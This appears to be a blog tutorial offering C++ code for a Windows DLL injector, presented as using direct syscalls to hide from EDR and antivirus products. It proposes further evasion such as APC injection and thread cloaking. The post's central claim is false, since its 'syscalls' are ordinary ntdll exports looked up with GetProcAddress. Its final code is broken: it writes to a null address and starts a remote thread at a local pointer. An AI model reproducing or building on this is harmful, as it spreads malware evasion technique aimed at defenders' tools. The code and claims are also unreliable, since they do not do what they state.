DIRECT SYSCALL INJECTION

 

DIRECT SYSCALL INJECTION


Objective: Build a Direct Syscall Reflective Injector

We will:

  1. Bypass all traditional APIs.
  2. Use raw syscalls directly to inject a DLL into a remote process.
  3. Bypass CreateRemoteThread and LoadLibrary entirely.
  4. Achieve the stealthiest injection possible with zero reliance on user-mode APIs.

🚀 What We Are Building:

  1. Direct Syscall Injector:
    • Inject DLL directly into remote process using syscalls.
    • No imports or system functions (CreateRemoteThread, VirtualAllocEx).
  2. Syscall Stubs:
    • We will write our own syscall stubs for functions like NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, etc.
  3. Stealth Mode:
    • The entire process will be hidden from EDRs, AVs, and intrusion detection systems because we will bypass all known API hooks.

📜 Step-by-Step Process:

  1. Get System Call Number:
    • We need to retrieve syscall numbers, which are different per Windows version. The syscall table is available in the kernel (ntoskrnl.exe), but to be safe, we’ll manually define the syscalls for our injection.
  2. Write Syscall Stubs:
    • We’ll write our own functions that directly call syscalls by making __asm__ calls to kernel functions.
  3. Write Injector Code:
    • We’ll manually map the DLL into memory using syscalls.
    • We’ll inject the shellcode into the target process by suspending a thread and directly modifying the thread’s context.

⚡ Syscall Stubs Example:

We will define syscalls manually with the following example:

#include <Windows.h>

 

typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(

    HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);

 

typedef NTSTATUS(WINAPI* NtWriteVirtualMemory_t)(

    HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);

 

typedef NTSTATUS(WINAPI* NtCreateThreadEx_t)(

    PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE,

    LPVOID, BOOL, DWORD, SIZE_T, SIZE_T, LPVOID);

 

__inline NtAllocateVirtualMemory_t NtAllocateVirtualMemory = nullptr;

__inline NtWriteVirtualMemory_t NtWriteVirtualMemory = nullptr;

__inline NtCreateThreadEx_t NtCreateThreadEx = nullptr;

 

void InitializeSyscalls() {

    // Using direct syscalls (no ntdll! we will use their numbers)

    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

    NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtWriteVirtualMemory");

    NtCreateThreadEx = (NtCreateThreadEx_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");

}

 

void InjectReflectiveDLL(HANDLE hProcess, const BYTE* dllBuffer, SIZE_T size) {

    PVOID remoteMemory = nullptr;

    SIZE_T bytesWritten = 0;

    InitializeSyscalls();

 

    // 1. Allocate memory in target process

    NtAllocateVirtualMemory(hProcess, &remoteMemory, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 

    // 2. Write DLL contents to the allocated memory

    NtWriteVirtualMemory(hProcess, remoteMemory, (PVOID)dllBuffer, size, &bytesWritten);

 

    // 3. Create remote thread to run ReflectiveLoader function

    HANDLE hThread = nullptr;

    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, nullptr, hProcess, (LPTHREAD_START_ROUTINE)remoteMemory, nullptr, FALSE, 0, 0, 0, nullptr);

}


🛠️ Detailed Breakdown:

  1. NtAllocateVirtualMemory:
    This syscall replaces VirtualAllocEx, directly allocating memory in the remote process.
  2. NtWriteVirtualMemory:
    This syscall writes the reflective DLL payload into the allocated memory.
  3. NtCreateThreadEx:
    This syscall creates a thread in the remote process, which we will point to the ReflectiveLoader entry point inside the injected DLL.

🔥 How We Inject the DLL:

  1. Open Process:
    Use OpenProcess to get access to the target process. (This is required for low-level access to memory.)
  2. Allocate Remote Memory:
    We allocate memory in the target process using syscall instead of VirtualAllocEx.
  3. Write the Reflective DLL:
    Write the payload (Reflective DLL) into the allocated space using syscall instead of WriteProcessMemory.
  4. Create Remote Thread:
    Trigger execution of the ReflectiveLoader by creating a remote thread using NtCreateThreadEx.

🛠️ Final Code Example:

#include <Windows.h>

#include <iostream>

 

typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(

    HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);

 

typedef NTSTATUS(WINAPI* NtWriteVirtualMemory_t)(

    HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);

 

typedef NTSTATUS(WINAPI* NtCreateThreadEx_t)(

    PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE,

    LPVOID, BOOL, DWORD, SIZE_T, SIZE_T, LPVOID);

 

__inline NtAllocateVirtualMemory_t NtAllocateVirtualMemory = nullptr;

__inline NtWriteVirtualMemory_t NtWriteVirtualMemory = nullptr;

__inline NtCreateThreadEx_t NtCreateThreadEx = nullptr;

 

void InitializeSyscalls() {

    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

    NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtWriteVirtualMemory");

    NtCreateThreadEx = (NtCreateThreadEx_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");

}

 

BOOL InjectReflectiveDLL(DWORD pid, const char* dllPath) {

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (!hProcess) {

        std::cout << "[-] Could not open process.\n";

        return FALSE;

    }

 

    HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {

        std::cout << "[-] Could not open DLL file.\n";

        return FALSE;

    }

 

    DWORD fileSize = GetFileSize(hFile, NULL);

    BYTE* dllBuffer = new BYTE[fileSize];

    DWORD bytesRead = 0;

    ReadFile(hFile, dllBuffer, fileSize, &bytesRead, NULL);

    CloseHandle(hFile);

 

    if (bytesRead != fileSize) {

        std::cout << "[-] File read error.\n";

        delete[] dllBuffer;

        return FALSE;

    }

 

    SIZE_T size = fileSize;

    InitializeSyscalls();

 

    // Allocate remote memory and write the DLL to the target process

    NtAllocateVirtualMemory(hProcess, nullptr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    NtWriteVirtualMemory(hProcess, nullptr, dllBuffer, fileSize, NULL);

 

    // Create remote thread to run ReflectiveLoader

    HANDLE hThread = NULL;

    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)dllBuffer, NULL, FALSE, 0, 0, 0, NULL);

    if (!hThread) {

        std::cout << "[-] Thread creation failed.\n";

        delete[] dllBuffer;

        return FALSE;

    }

 

    std::cout << "[+] Injection successful.\n";

    delete[] dllBuffer;

    CloseHandle(hThread);

    CloseHandle(hProcess);

    return TRUE;

}

 

int main() {

    DWORD pid;

    std::cout << "Enter target PID: ";

    std::cin >> pid;

 

    const char* dllPath = "reflective_payload.dll";

    if (InjectReflectiveDLL(pid, dllPath)) {

        std::cout << "[*] Reflective DLL injected.\n";

    } else {

        std::cout << "[-] Injection failed.\n";

    }

 

    return 0;

}


🛡️ CONCLUSION

By using direct syscalls, we've completely bypassed common detection mechanisms, relying solely on kernel calls.
The DLL is injected stealthily without touching traditional memory allocation functions like VirtualAllocEx, making it difficult to trace.


⚡ What’s Next?

We can upgrade this into full stealth mode, integrating:

  1. APC injection to avoid thread creation.
  2. Thread cloaking to make sure our injected thread isn't detected.
  3. Kernel-level drivers for even higher privilege injections.

Comments

Popular posts from this blog

Avoiding detection when injecting a DLL into a game process

Some global variable set, mystery function

FULL REFLECTIVE INJECTION PACK